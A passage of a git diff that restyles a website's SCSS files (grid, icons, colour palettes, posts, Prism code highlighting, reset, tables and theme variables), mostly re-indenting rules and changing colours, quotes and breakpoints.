-  // box-shadow: inset 0px 11px 8px -10px black, inset 0px -11px 8px -10px black;    margin: 0 auto !important;
-  display: flex;
-  border-radius: 5px;
-  -ms-flex-wrap: wrap;
-  flex-wrap: wrap;
-  margin-left: -$grid-gap / 2;
-  margin-right: -$grid-gap / 2;
+    display: -ms-flexbox;
+    display: flex;
+    -ms-flex-wrap: wrap;
+    flex-wrap: wrap;
+    margin-left: -$grid-gap / 2;
+    margin-right: -$grid-gap / 2;
 }
 
 .grid-item {
-  box-sizing: border-box;
-  // box-shadow: inset 0px 11px 8px -10px black, inset 0px -11px 8px -10px black;    margin: 0 auto !important;    
-  padding-left: $grid-gap / 2;
-  padding-right: $grid-gap / 2;
-  position: relative;
-  width: 100%;
+    box-sizing: border-box;
+    padding-left: $grid-gap / 2;
+    padding-right: $grid-gap / 2;
+    position: relative;
+    width: 100%;
 }
 
 .grid-center {
-  -ms-flex-pack: center;
-  justify-content: center;
+    -ms-flex-pack: center;
+    justify-content: center;
 }
 
 .grid-swap {
-  -ms-flex-direction: row-reverse;
-  flex-direction: row-reverse;
+    -ms-flex-direction: row-reverse;
+    flex-direction: row-reverse;
 }
 
 .grid-middle {
-  -ms-flex-align: center;
-  align-items: center;
+    -ms-flex-align: center;
+    align-items: center;
 }
 
 @media only screen and (min-width: 641px) {
-  .grid-col-2 {
-    .grid-item {
-      -ms-flex: 0 0 50%;
-      flex: 0 0 50%;
-      max-width: 50%;
+    .grid-col-2 {
+        .grid-item {
+            -ms-flex: 0 0 50%;
+            flex: 0 0 50%;
+            max-width: 50%;
+        }
     }
-  }
 }
 
 @media only screen and (min-width: 761px) {
-  .grid-col-3 {
-    .grid-item {
-      -ms-flex: 0 0 33.333%;
-      flex: 0 0 33.333%;
-      max-width: 33.333%;
+    .grid-col-3 {
+        .grid-item {
+            -ms-flex: 0 0 33.333%;
+            flex: 0 0 33.333%;
+            max-width: 33.333%;
+        }
     }
-  }
 }
 
 @media only screen and (max-width: 600px) {
-  .grid {
-    margin-left: -$container-padding / 2;
-    margin-right: -$container-padding / 2;
-  }
-
-  .grid-item {
-    padding-left: $container-padding / 2;
-    padding-right: $container-padding / 2;
-  }
+    .grid {
+        margin-left: -$container-padding / 2;
+        margin-right: -$container-padding / 2;
+    }
+
+    .grid-item {
+        padding-left: $container-padding / 2;
+        padding-right: $container-padding / 2;
+    }
 }
diff --git a/src/sass/imports/_icons.scss b/src/sass/imports/_icons.scss
index 4e36651076..63a5df66ca 100644
--- a/src/sass/imports/_icons.scss
+++ b/src/sass/imports/_icons.scss
@@ -1,101 +1,101 @@
 // SVG icons
 .icon {
-  color: inherit;
-  fill: white;
-  flex-shrink: 0;
-  height: 1em;
-  line-height: 1;
-  width: 1em;
+    color: inherit;
+    fill: currentColor;
+    flex-shrink: 0;
+    height: 1em;
+    line-height: 1;
+    width: 1em;
 }
 
 // CSS icons
 .icon-menu,
 .icon-close {
-  background: white;
-  border-radius: 1px;
-  color: inherit;
-  height: 2px;
-  left: 50%;
-  margin-top: -1px;
-  margin-left: -12px;
-  position: absolute;
-  top: 50%;
-  width: 24px;
-
-  &:before,
-  &:after {
-    background: white;
+    background: currentColor;
     border-radius: 1px;
-    content: '';
-    height: 100%;
-    left: 0;
+    color: inherit;
+    height: 2px;
+    left: 50%;
+    margin-top: -1px;
+    margin-left: -12px;
     position: absolute;
-    width: 100%;
-  }
+    top: 50%;
+    width: 24px;
+
+    &:before,
+    &:after {
+        background: currentColor;
+        border-radius: 1px;
+        content: '';
+        height: 100%;
+        left: 0;
+        position: absolute;
+        width: 100%;
+    }
 }
 
 .icon-menu {
-  &:before {
-    top: -6px;
-  }
+    &:before {
+        top: -6px;
+    }
 
-  &:after {
-    bottom: -6px;
-  }
+    &:after {
+        bottom: -6px;
+    }
 }
 
 .icon-close {
-  background: 0;
-  margin-left: -14px;
-  width: 28px;
+    background: 0;
+    margin-left: -14px;
+    width: 28px;
 
-  &:before {
-    top: 0;
-    -webkit-transform: rotate(45deg);
-    transform: rotate(45deg);
-  }
+    &:before {
+        top: 0;
+        -webkit-transform: rotate(45deg);
+        transform: rotate(45deg);
+    }
 
-  &:after {
-    top: 0;
-    -webkit-transform: rotate(-45deg);
-    transform: rotate(-45deg);
-  }
+    &:after {
+        top: 0;
+        -webkit-transform: rotate(-45deg);
+        transform: rotate(-45deg);
+    }
 }
 
 .icon-angle-right {
-  background: 0;
-  border-color: rgb(0, 0, 0);
-  border-style: dashed;
-  border-width: 2px 1px 0 0;
-  box-sizing: border-box;
-  height: 6px;
-  left: 70%;
-  margin-left: -2px;
-  margin-top: -2px;
-  position: absolute;
-  top: 50%;
-  width: 6px;
-  -webkit-transform: rotate(45deg);
-  transform: rotate(45deg);
+    background: 0;
+    border-color: currentColor;
+    border-style: solid;
+    border-width: 1px 1px 0 0;
+    box-sizing: border-box;
+    height: 8px;
+    left: 50%;
+    margin-left: -4px;
+    margin-top: -4px;
+    position: absolute;
+    top: 50%;
+    width: 8px;
+    -webkit-transform: rotate(45deg);
+    transform: rotate(45deg);
 }
 
 .docs-nav-toggle {
-  .icon-angle-right {
-    height: 12px;
-    left: auto;
-    margin-left: 0;
-    margin-right: 9px;
-    margin-top: -6px;
-    right: 0;
-    width: 12px;
-  }
+    .icon-angle-right {
+        height: 12px;
+        left: auto;
+        margin-left: 0;
+        margin-right: 9px;
+        margin-top: -6px;
+        right: 0;
+        width: 12px;
+    }
 }
 
 .docs-section-item {
-  .icon-angle-right {
-    left: auto;
-    margin-left: 0;
-    margin-right: 15px;
-    right: 0;
-  }
+    .icon-angle-right {
+        left: auto;
+        margin-left: 0;
+        margin-right: 15px;
+        right: 0;
+    }
 }
diff --git a/src/sass/imports/_palettes.scss b/src/sass/imports/_palettes.scss
index 4571d18d0a..ac2cc9874b 100644
--- a/src/sass/imports/_palettes.scss
+++ b/src/sass/imports/_palettes.scss
@@ -1,57 +1,57 @@
 @each $palette in map-keys($theme-palettes) {
-  $palette-suffix: '#{$palette}';
-  $color-primary: map-deep-get($theme-palettes, $palette, 'primary');
-  $color-secondary: map-deep-get($theme-palettes, $palette, 'secondary');
+    $palette-suffix: '#{$palette}';
+    $color-primary: map-deep-get($theme-palettes, $palette, 'primary');
+    $color-secondary: map-deep-get($theme-palettes, $palette, 'secondary');
 
-  .palette-#{$palette-suffix} {
-    a:not(.button) {
-      color: $color-primary;
+    .palette-#{$palette-suffix} {
+        a:not(.button) {
+            color: $color-primary;
 
-      &:hover {
-        color: $gray-600;
-      }
-      }
+            &:hover {
+                color: $gray-600;
+            }
+        }
 
-    blockquote {
-      border-color: $color-primary;
-    }
+        blockquote {
+            border-color: $color-primary;
+        }
 
-    .line-left:after,
-    .button {
-      background: $color-primary;
-    }
+        .line-left:after,
+        .button {
+            background: $color-primary;
+        }
 
-    .has-gradient {
-      background: $color-primary;
-      background: -webkit-gradient(linear, left top, right top, from($color-secondary), to($color-primary));
-      background: linear-gradient(to right, $color-secondary, $color-primary);
-    }
+        .has-gradient {
+            background: $color-primary;
+            background: -webkit-gradient(linear, left top, right top, from($color-secondary), to($color-primary));
+            background: linear-gradient(to right, $color-secondary, $color-primary);
+        }
 
-    .button-secondary,
-    .button-icon:hover,
-    .button-icon:focus,
-    .button-icon:active,
-    .has-gradient .button:not(.button-secondary),
-    .menu-item.current,
-    #masthead a:not(.button):hover,
-    #colophon a:not(.button):hover,
-    .post.type-docs .hash-link:hover,
-    .post.type-docs .hash-link:focus,
-    #docs-menu a:hover,
-    #docs-menu .current,
-    #docs-menu .current-parent,
-    #page-nav li.active>a,
-    #page-nav a:hover {
-      color: $color-primary;
-    }
+        .button-secondary,
+        .button-icon:hover,
+        .button-icon:focus,
+        .button-icon:active,
+        .has-gradient .button:not(.button-secondary),
+        .menu-item.current,
+        #masthead a:not(.button):hover,
+        #colophon a:not(.button):hover,
+        .post.type-docs .hash-link:hover,
+        .post.type-docs .hash-link:focus,
+        #docs-menu a:hover,
+        #docs-menu .current,
+        #docs-menu .current-parent,
+        #page-nav li.active > a,
+        #page-nav a:hover {
+            color: $color-primary;
+        }
 
-    #docs-section-items {
-      .docs-item-link {
-        &:hover {
-          border-color: $color-primary;
-          color: $color-primary;
+        #docs-section-items {
+            .docs-item-link {
+                &:hover {
+                    border-color: $color-primary;
+                    color: $color-primary;
+                }
+            }
         }
-      }
-    }
     }
 }
diff --git a/src/sass/imports/_posts.scss b/src/sass/imports/_posts.scss
index d3e2571e17..257760b344 100644
--- a/src/sass/imports/_posts.scss
+++ b/src/sass/imports/_posts.scss
@@ -1,172 +1,166 @@
 .post {
-  margin-bottom: 2.5em;
+    margin-bottom: 2.5em;
 }
 
 .post-full,
 .post-feed {
-  &:last-child {
-    margin-bottom: 5em;
-  }
+    &:last-child {
+        margin-bottom: 5em;
+    }
 }
 
 .has-gradient {
-  &.page-header,
-  &.post-header {
-    padding-bottom: 9.5em;
-    padding-top: 3.75em;
-    text-align: center;
-      -webkit-box-shadow: 0 1px 4px rgba(0, 0, 0, 0.3),
-  0 0 40px rgba(0, 0, 0, 0.1) inset;
-  -moz-box-shadow: 0 1px 4px rgba(0, 0, 0, 0.3),
-  0 0 40px rgba(0, 0, 0, 0.1) inset;
-  box-shadow: 0 1px 4px rgba(0, 0, 0, 0.3),
-  0 0 40px rgba(0, 0, 0, 0.1) inset;
-  }
-
-  .page-title,
-  .post-title {
-    color: inherit;
-    font-size: 2.25em;
-    margin: 0;
-  }
+    &.page-header,
+    &.post-header {
+        padding-bottom: 9.5em;
+        padding-top: 3.75em;
+        text-align: center;
+    }
+
+    .page-title,
+    .post-title {
+        color: inherit;
+        font-size: 2.25em;
+        margin: 0;
+    }
 }
 
 .page-subtitle,
 .post-subtitle {
-  font-size: 1.125em;
-  line-height: 1.5;
-  margin: 0.5em 0 0;
-  position: relative;
+    font-size: 1.125em;
+    line-height: 1.5;
+    margin: 0.5em 0 0;
+    position: relative;
 }
 
 .post-title {
-  a {
-    color: inherit !important;
-    text-decoration: none;
-  }
+    a {
+        color: inherit !important;
+        text-decoration: none;
+    }
 }
 
 .post-thumbnail {
-  border: 0;
-  border-radius: $border-radius $border-radius 0 0;
-  display: block;
-  margin: 0;
-
-  img {
+    border: 0;
     border-radius: $border-radius $border-radius 0 0;
-    width: 100%;
-  }
+    display: block;
+    margin: 0;
+
+    img {
+        border-radius: $border-radius $border-radius 0 0;
+        width: 100%;
+    }
 }
 
 .post-full .post-content,
 .post-feed {
-  margin-top: -5em;
-  position: relative;
+    margin-top: -5em;
+    position: relative;
 }
 
 .post-full .post-content,
 .post-feed .post {
-  background: #fff;
-  border: 1px solid $gray-300;
-  border-radius: $border-radius;
-  box-shadow: $box-shadow;
+    background: #fff;
+    border: 1px solid $gray-300;
+    border-radius: $border-radius;
+    box-shadow: $box-shadow;
 }
 
 .post-full {
-  .post-content {
-    padding: 1.5em 1.5em;
-  }
+    .post-content {
+        padding: 2.5em 1.5em;
+    }
 
-  .post-meta {
-    margin: 0 0 0.5em;
-  }
+    .post-meta {
+        margin: 0 0 0.5em;
+    }
 }
 
 .post-feed {
-  .post {
-    padding: 0 0 2.5em;
-  }
-
-  .post-meta {
-    color: $gray-500;
-    font-size: 0.875em;
-    margin: 0 0 0.5em;
-    padding-left: 1.71428em;
-    padding-right: 1.71428em;
-  }
-
-  .post-header {
-    margin: 0 0 1.25em;
-    padding-top: 1.875em;
-  }
-
-  .post-title {
-    font-size: 1.5em;
-    margin: 0;
-    padding-left: 1em;
-    padding-right: 1em;
-  }
+    .post {
+        padding: 0 0 2.5em;
+    }
 
-  .post-excerpt {
-    margin-bottom: 1.25em;
-    padding-left: 1.5em;
-    padding-right: 1.5em;
-  }
+    .post-meta {
+        color: $gray-500;
+        font-size: 0.875em;
+        margin: 0 0 0.5em;
+        padding-left: 1.71428em;
+        padding-right: 1.71428em;
+    }
 
-  .read-more {
-    margin: 0;
-    padding-left: 1.5em;
-    padding-right: 1.5em;
-  }
+    .post-header {
+        margin: 0 0 1.25em;
+        padding-top: 1.875em;
+    }
 
-  .read-more-link {
-    font-weight: bold;
-    text-decoration: none;
+    .post-title {
+        font-size: 1.5em;
+        margin: 0;
+        padding-left: 1em;
+        padding-right: 1em;
+    }
 
-    &:after {
-      font-size: 1.125em;
-      content: "\2192";
-      line-height: 1.5;
-      margin-left: 5px;
+    .post-excerpt {
+        margin-bottom: 1.25em;
+        padding-left: 1.5em;
+        padding-right: 1.5em;
     }
 
-    &:hover {
-      color: $gray-600;
+    .read-more {
+        margin: 0;
+        padding-left: 1.5em;
+        padding-right: 1.5em;
+    }
+
+    .read-more-link {
+        font-weight: bold;
+        text-decoration: none;
+
+        &:after {
+            font-size: 1.125em;
+            content: '\2192';
+            line-height: 1.5;
+            margin-left: 5px;
+        }
+
+        &:hover {
+            color: $gray-600;
+        }
     }
-  }
 }
 
 @media only screen and (min-width: 641px) {
-  .has-gradient {
-    .page-title,
-    .post-title {
-      font-size: 3em;
+    .has-gradient {
+        .page-title,
+        .post-title {
+            font-size: 3em;
+        }
     }
-  }
 
-  .page-subtitle,
-  .post-subtitle {
-    font-size: 1.25em;
-  }
+    .page-subtitle,
+    .post-subtitle {
+        font-size: 1.25em;
+    }
 
-  .post-full {
-    .post-meta {
-      font-size: 1.125em;
-    }
-  }
-
-  .post-full .post-content,
-  .post-feed .post-meta,
-  .post-feed .post-title,
-  .post-feed .post-excerpt,
-  .post-feed .read-more {
-    padding-left: 7%;
-    padding-right: 7%;
-  }
+    .post-full {
+        .post-meta {
+            font-size: 1.125em;
+        }
+    }
+
+    .post-full .post-content,
+    .post-feed .post-meta,
+    .post-feed .post-title,
+    .post-feed .post-excerpt,
+    .post-feed .read-more {
+        padding-left: 7%;
+        padding-right: 7%;
+    }
 }
 
 @media only screen and (max-width: 1000px) {
-  .post {
-    margin-bottom: 4vw;
-  }
+    .post {
+        margin-bottom: 4vw;
+    }
 }
diff --git a/src/sass/imports/_prism.scss b/src/sass/imports/_prism.scss
index 796b0f3c06..669c89f77b 100644
--- a/src/sass/imports/_prism.scss
+++ b/src/sass/imports/_prism.scss
@@ -8,33 +8,33 @@ https://prismjs.com/download.html#themes=prism&languages=markup+css+clike+javasc
 
 code[class*='language-'],
 pre[class*='language-'] {
-  -moz-tab-size: 4;
-  -o-tab-size: 4;
-  tab-size: 4;
-  -webkit-hyphens: none;
-  -moz-hyphens: none;
-  -ms-hyphens: none;
-  hyphens: none;
+    -moz-tab-size: 4;
+    -o-tab-size: 4;
+    tab-size: 4;
+    -webkit-hyphens: none;
+    -moz-hyphens: none;
+    -ms-hyphens: none;
+    hyphens: none;
 }
 
-:not(pre)>code[class*='language-'] {
-  background: $gray-700;
-  color: $gray-100;
+:not(pre) > code[class*='language-'] {
+    background: $gray-700;
+    color: $gray-100;
 }
 
 .token.comment,
 .token.prolog,
 .token.doctype,
 .token.cdata {
-  color: #8292a2;
+    color: #8292a2;
 }
 
 .token.punctuation {
-  color: #f8f8f2;
+    color: #f8f8f2;
 }
 
 .token.namespace {
-  opacity: 0.7;
+    opacity: 0.7;
 }
 
 .token.property,
@@ -42,12 +42,12 @@ pre[class*='language-'] {
 .token.constant,
 .token.symbol,
 .token.deleted {
-  color: #f92672;
+    color: #f92672;
 }
 
 .token.boolean,
 .token.number {
-  color: #ae81ff;
+    color: #ae81ff;
 }
 
 .token.selector,
@@ -56,7 +56,7 @@ pre[class*='language-'] {
 .token.char,
 .token.builtin,
 .token.inserted {
-  color: #a6e22e;
+    color: #a6e22e;
 }
 
 .token.operator,
@@ -65,80 +65,218 @@ pre[class*='language-'] {
 .language-css .token.string,
 .style .token.string,
 .token.variable {
-  color: #f8f8f2;
+    color: #f8f8f2;
 }
 
 .token.atrule,
 .token.attr-value,
 .token.function,
 .token.class-name {
-  color: #e6db74;
+    color: #e6db74;
 }
 
 .token.keyword {
-  color: #66d9ef;
+    color: #66d9ef;
 }
 
 .token.regex,
 .token.important {
-  color: #fd971f;
+    color: #fd971f;
 }
 
 .token.important,
 .token.bold {
-  font-weight: bold;
+    font-weight: bold;
 }
 .token.italic {
-  font-style: italic;
+    font-style: italic;
 }
 
 .token.entity {
-  cursor: help;
+    cursor: help;
 }
 
 div.code-toolbar {
-  position: relative;
+    position: relative;
 }
 
-div.code-toolbar>.toolbar {
-  position: absolute;
-  top: 0;
-  right: 0;
+div.code-toolbar > .toolbar {
+    position: absolute;
+    top: 0;
+    right: 0;
 }
 
-div.code-toolbar>.toolbar .toolbar-item {
-  display: block;
+div.code-toolbar > .toolbar .toolbar-item {
+    display: block;
+}
+
+div.code-toolbar > .toolbar a {
+    border: 0;
+    cursor: pointer;
+}
+
+div.code-toolbar > .toolbar button {
+    background: none;
+    border: 0;
+    border-radius: 0;
+    box-shadow: none;
+    color: inherit;
+    font: inherit;
+    line-height: normal;
+    overflow: visible;
+    padding: 0;
+    -webkit-user-select: none;
+    -moz-user-select: none;
+    -ms-user-select: none;
+}
+
+div.code-toolbar > .toolbar a,
+div.code-toolbar > .toolbar button,
+div.code-toolbar > .toolbar span {
+    background: $gray-600;
+    color: $gray-300 !important;
+    display: block;
+    font-size: 0.75em;
+    line-height: 1.5;
+    padding: 0.25em 0.5em;
+    text-decoration: none;
 }
 
-div.code-toolbar>.toolbar a {
-  border: 0;
-  cursor: pointer;
-}
-
-div.code-toolbar>.toolbar button {
-  background: none;
-  border: 0;
-  border-radius: 0;
-  box-shadow: none;
-  color: inherit;
-  font: inherit;
-  line-height: normal;
-  overflow: visible;
-  padding: 0;
-  user-select: none;
-  -webkit-user-select: none;
-  -moz-user-select: none;
-  -ms-user-select: none;
-}
-
-div.code-toolbar>.toolbar a,
-div.code-toolbar>.toolbar button,
-div.code-toolbar>.toolbar span {
-  background: $gray-600;
-  color: $gray-300 !important;
+
+.gatsby-highlight-code-line {
   display: block;
-  font-size: 0.75em;
+  margin: 0 -2em;
+  padding: 0 2em;
+  background: var(--lineHighlight);
+}
+
+code[class*='language-'],
+pre[class*='language-'] {
+  color: white;
+  text-shadow: 0 1px rgba(0, 0, 0, 0.3);
+  font-family: Menlo, Monaco, Consolas, 'Courier New', Courier, monospace;
+  font-size: 14px;
+  direction: ltr;
+  text-align: left;
+  white-space: pre;
+  word-spacing: normal;
+  word-break: normal;
   line-height: 1.5;
-  padding: 0.25em 0.5em;
-  text-decoration: none;
+
+  -moz-tab-size: 4;
+  -o-tab-size: 4;
+  tab-size: 4;
+
+  -webkit-hyphens: none;
+  -moz-hyphens: none;
+  -ms-hyphens: none;
+  hyphens: none;
+}
+
+/* Code blocks */
+pre {
+  padding: 1.25em;
+  margin: 0.5em 0 3em;
+  overflow: auto;
+  border-radius: 6px;
+}
+
+:not(pre) > code[class*='language-'],
+pre {
+  background: var(--code-background);
+}
+
+/* Inline code */
+:not(pre) > code[class*='language-'] {
+  padding: 3px 5px;
+  border-radius: 2px;
+  background: var(--inline-code-background);
+  font-family: 'Source Code Pro', Menlo, Monaco, Consolas, 'Courier New',
+    Courier, monospace;
+  text-shadow: none;
+  color: var(--inline-code-color);
+}
+
+.token.comment,
+.token.prolog,
+.token.block-comment,
+.token.doctype,
+.token.cdata {
+  color: var(--comment);
+}
+
+.token.property,
+.token.number,
+.token.function-name,
+.token.constant,
+.token.symbol,
+.token.deleted {
+  color: var(--primitive);
+}
+
+.token.boolean {
+  color: var(--boolean);
+}
+
+.token.tag {
+  color: var(--tag);
+}
+
+.token.string {
+  color: var(--string);
+}
+
+.token.punctuation {
+  color: var(--punctuation);
+}
+
+.token.selector,
+.token.char,
+.token.builtin,
+.token.inserted {
+  color: var(--char);
+}
+
+.token.function {
+  color: var(--function);
+}
+
+.token.operator,
+.token.entity,
+.token.url,
+.token.variable {
+  color: var(--variable);
+}
+
+.token.attr-value {
+  color: var(--string);
+}
+
+.token.keyword {
+  color: var(--keyword);
+}
+
+.token.atrule,
+.token.class-name {
+  color: var(--className);
+}
+
+.token.important {
+  font-weight: 400;
+}
+
+.token.bold {
+  font-weight: 700;
+}
+
+.token.italic {
+  font-style: 'italic';
+}
+
+.token.entity {
+  cursor: 'help';
+}
+
+.namespace {
+  opacity: 0.7;
 }
diff --git a/src/sass/imports/_reset.scss b/src/sass/imports/_reset.scss
index 687a374aea..7ea3d17976 100644
--- a/src/sass/imports/_reset.scss
+++ b/src/sass/imports/_reset.scss
@@ -1,82 +1,82 @@
 // normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css
 html {
-  line-height: 1.15;
-  -webkit-text-size-adjust: 100%;
+    line-height: 1.15;
+    -webkit-text-size-adjust: 100%;
 }
 
 body {
-  margin: 0;
+    margin: 0;
 }
 
 main {
-  display: block;
+    display: block;
 }
 
 hr {
-  box-sizing: content-box;
-  height: 0;
-  overflow: visible;
+    box-sizing: content-box;
+    height: 0;
+    overflow: visible;
 }
 
 a {
-  background-color: transparent;
+    background-color: transparent;
 }
 
 a:focus {
-  outline: thin dotted;
+    outline: thin dotted;
 }
 
 a:active,
 a:hover {
-  outline: 0;
+    outline: 0;
 }
 
 abbr[title] {
-  border-bottom: none;
-  text-decoration: underline;
-  text-decoration: underline dotted;
+    border-bottom: none;
+    text-decoration: underline;
+    text-decoration: underline dotted;
 }
 
 b,
 strong {
-  font-weight: bold;
+    font-weight: bold;
 
-  .font-fira-sans & {
-    font-weight: 600;
-  }
+    .font-fira-sans & {
+        font-weight: 600;
+    }
 }
 
 pre,
 code,
 kbd,
 samp {
-  font-family: $font-monospace;
-  font-size: 1em;
+    font-family: $font-monospace;
+    font-size: 1em;
 }
 
 small {
-  font-size: 80%;
+    font-size: 80%;
 }
 
 sub,
 sup {
-  font-size: 75%;
-  line-height: 0;
-  position: relative;
-  vertical-align: baseline;
+    font-size: 75%;
+    line-height: 0;
+    position: relative;
+    vertical-align: baseline;
 }
 
 sub {
-  bottom: -0.25em;
+    bottom: -0.25em;
 }
 
 sup {
-  top: -0.5em;
+    top: -0.5em;
 }
 
 img {
-  border-style: none;
-  vertical-align: middle;
+    border-style: none;
+    vertical-align: middle;
 }
 
 button,
@@ -84,102 +84,102 @@ input,
 optgroup,
 select,
 textarea {
-  font-family: inherit;
-  font-size: 100%;
-  line-height: 1.15;
-  margin: 0;
+    font-family: inherit;
+    font-size: 100%;
+    line-height: 1.15;
+    margin: 0;
 }
 
 button,
 input {
-  overflow: visible;
+    overflow: visible;
 }
 
 button,
 select {
-  text-transform: none;
+    text-transform: none;
 }
 
 button,
-[type="button"],
-[type="reset"],
-[type="submit"] {
-  -webkit-appearance: button;
+[type='button'],
+[type='reset'],
+[type='submit'] {
+    -webkit-appearance: button;
 }
 
 button::-moz-focus-inner,
-[type="button"]::-moz-focus-inner,
-[type="reset"]::-moz-focus-inner,
-[type="submit"]::-moz-focus-inner {
-  border-style: none;
-  padding: 0;
+[type='button']::-moz-focus-inner,
+[type='reset']::-moz-focus-inner,
+[type='submit']::-moz-focus-inner {
+    border-style: none;
+    padding: 0;
 }
 
 button:-moz-focusring,
-[type="button"]:-moz-focusring,
-[type="reset"]:-moz-focusring,
-[type="submit"]:-moz-focusring {
-  outline: 1px dotted ButtonText;
+[type='button']:-moz-focusring,
+[type='reset']:-moz-focusring,
+[type='submit']:-moz-focusring {
+    outline: 1px dotted ButtonText;
 }
 
 fieldset {
-  padding: 0.35em 0.75em 0.625em;
+    padding: 0.35em 0.75em 0.625em;
 }
 
 legend {
-  box-sizing: border-box;
-  color: inherit;
-  display: table;
-  max-width: 100%;
-  padding: 0;
-  white-space: normal;
+    box-sizing: border-box;
+    color: inherit;
+    display: table;
+    max-width: 100%;
+    padding: 0;
+    white-space: normal;
 }
 
 progress {
-  vertical-align: baseline;
+    vertical-align: baseline;
 }
 
 textarea {
-  overflow: auto;
+    overflow: auto;
 }
 
-[type="checkbox"],
-[type="radio"] {
-  box-sizing: border-box;
-  padding: 0;
+[type='checkbox'],
+[type='radio'] {
+    box-sizing: border-box;
+    padding: 0;
 }
 
-[type="number"]::-webkit-inner-spin-button,
-[type="number"]::-webkit-outer-spin-button {
-  height: auto;
+[type='number']::-webkit-inner-spin-button,
+[type='number']::-webkit-outer-spin-button {
+    height: auto;
 }
 
-[type="search"] {
-  -webkit-appearance: textfield;
-  outline-offset: -2px;
+[type='search'] {
+    -webkit-appearance: textfield;
+    outline-offset: -2px;
 }
 
-[type="search"]::-webkit-search-decoration {
-  -webkit-appearance: none;
+[type='search']::-webkit-search-decoration {
+    -webkit-appearance: none;
 }
 
 ::-webkit-file-upload-button {
-  -webkit-appearance: button;
-  font: inherit;
+    -webkit-appearance: button;
+    font: inherit;
 }
 
 details {
-  display: block;
+    display: block;
 }
 
 summary {
-  display: list-item;
+    display: list-item;
 }
 
 template {
-  display: none;
+    display: none;
 }
 
 [hidden] {
-  display: none;
+    display: none;
 }
diff --git a/src/sass/imports/_sections.scss b/src/sass/imports/_sections.scss
index 73274618b3..bf9d393492 100644
--- a/src/sass/imports/_sections.scss
+++ b/src/sass/imports/_sections.scss
@@ -102,7 +102,7 @@
     }
 }
 
-@media only screen and (min-width: 1201px) {
+@media only screen and (min-width: 801px) {
     .block-text {
         .grid-item {
             &:not(:only-child) {
@@ -200,7 +200,7 @@
 
 // Grid section
 .block-grid {
-    .block-hero+& {
+    .block-hero + & {
         &:not(.has-header) {
             background: 0;
             padding-top: 0;
@@ -277,7 +277,7 @@
         &:not(.button) {
             &:after {
                 font-size: 1.125em;
-                content: "\2192";
+                content: '\2192';
                 line-height: 1.5;
                 margin-left: 5px;
             }
@@ -312,7 +312,7 @@
         line-height: 1.5;
     }
 
-    &+.block {
+    & + .block {
         margin-top: -5em;
         position: relative;
     }
@@ -334,4 +334,4 @@
             }
         }
     }
-}
\ No newline at end of file
+}
diff --git a/src/sass/imports/_structure.scss b/src/sass/imports/_structure.scss
index c92d92ebe9..b97a2da484 100644
--- a/src/sass/imports/_structure.scss
+++ b/src/sass/imports/_structure.scss
@@ -1,38 +1,38 @@
 .site {
-  display: -ms-flexbox;
-  display: flex;
-  -ms-flex-direction: column;
-  flex-direction: column;
-  min-height: 110vh;
-  position: relative;
+    display: -ms-flexbox;
+    display: flex;
+    -ms-flex-direction: column;
+    flex-direction: column;
+    min-height: 100vh;
+    position: relative;
 }
 
 .site-content {
-  box-sizing: border-box;
-  -ms-flex-positive: 1;
-  flex-grow: 1;
-  width: 100%;
+    box-sizing: border-box;
+    -ms-flex-positive: 1;
+    flex-grow: 1;
+    width: 100%;
 }
 
 .outer {
-  padding-left: $container-padding;
-  padding-right: $container-padding;
+    padding-left: $container-padding;
+    padding-right: $container-padding;
 }
 
 .inner {
-  margin-left: auto;
-  margin-right: auto;
-  max-width: $container;
+    margin-left: auto;
+    margin-right: auto;
+    max-width: $container;
 }
 
 .inner-md {
-  margin-left: auto;
-  margin-right: auto;
-  max-width: $container-md;
+    margin-left: auto;
+    margin-right: auto;
+    max-width: $container-md;
 }
 
 .inner-sm {
-  margin-left: auto;
-  margin-right: auto;
-  max-width: $container-sm;
+    margin-left: auto;
+    margin-right: auto;
+    max-width: $container-sm;
 }
diff --git a/src/sass/imports/_tables.scss b/src/sass/imports/_tables.scss
index 6ee8b8ab5d..39fe6e9c5c 100644
--- a/src/sass/imports/_tables.scss
+++ b/src/sass/imports/_tables.scss
@@ -1,63 +1,63 @@
 table {
-  border-collapse: collapse;
-  border-spacing: 0;
-  line-height: 1.5;
-  margin: 0;
-  max-width: 100%;
-  text-align: left;
-  width: 100%;
+    border-collapse: collapse;
+    border-spacing: 0;
+    line-height: 1.5;
+    margin: 0;
+    max-width: 100%;
+    text-align: left;
+    width: 100%;
 }
 
 caption {
-  color: $gray-500;
-  font-size: 0.875em;
-  font-style: normal;
-  margin-bottom: 1em;
-  text-align: left;
+    color: $gray-500;
+    font-size: 0.875em;
+    font-style: normal;
+    margin-bottom: 1em;
+    text-align: left;
 }
 
 th,
 td {
-  border-bottom: 1px solid $gray-300;
-  padding: 0.5em 5px;
+    border-bottom: 1px solid $gray-300;
+    padding: 0.5em 5px;
 }
 
 th {
-  color: $gray-700;
-  font-weight: bold;
+    color: $gray-700;
+    font-weight: bold;
 }
 
-:not(.responsive-table)>table {
-  display: block;
-  margin: 1.875em 0;
-  overflow-x: auto;
-  -webkit-overflow-scrolling: touch;
+:not(.responsive-table) > table {
+    display: block;
+    margin: 1.875em 0;
+    overflow-x: auto;
+    -webkit-overflow-scrolling: touch;
 
-  &:first-child {
-    margin-top: 0;
-  }
+    &:first-child {
+        margin-top: 0;
+    }
 
-  tbody,
-  thead {
-    width: 100%;
-  }
+    tbody,
+    thead {
+        width: 100%;
+    }
 
-  tr {
-    width: 100%;
-  }
+    tr {
+        width: 100%;
+    }
 
-  td {
-    min-width: 10em;
-  }
+    td {
+        min-width: 10em;
+    }
 }
 
 .responsive-table {
-  display: block;
-  margin: 1.875em 0;
-  overflow-x: auto;
-  width: 100%;
-
-  &:first-child {
-    margin-top: 0;
-  }
+    display: block;
+    margin: 1.875em 0;
+    overflow-x: auto;
+    width: 100%;
+
+    &:first-child {
+        margin-top: 0;
+    }
 }
diff --git a/src/sass/imports/_variables.scss b/src/sass/imports/_variables.scss
index 7aa32081f5..3219e73757 100644
--- a/src/sass/imports/_variables.scss
+++ b/src/sass/imports/_variables.scss
@@ -24,7 +24,7 @@ $border-radius: 5px;
 $border-radius-sm: 3px;
 
 // Box shadow
-$box-shadow: 0px 1px 2px 0px rgba(0, 0, 0, 0.13);
+$box-shadow: 0px 1px 2px 0px rgba(0, 0, 0, 0.08);
 
 // Container max width
 $container: 1200px !default;
@@ -44,7 +44,7 @@ $theme-palettes: (
         secondary: #1ba65b
     ),
     navy: (
-        primary: #1b2024,
+        primary: #004e92,
         secondary: #000428
     ),
     violet: (
diff --git a/src/sass/main.scss b/src/sass/main.scss
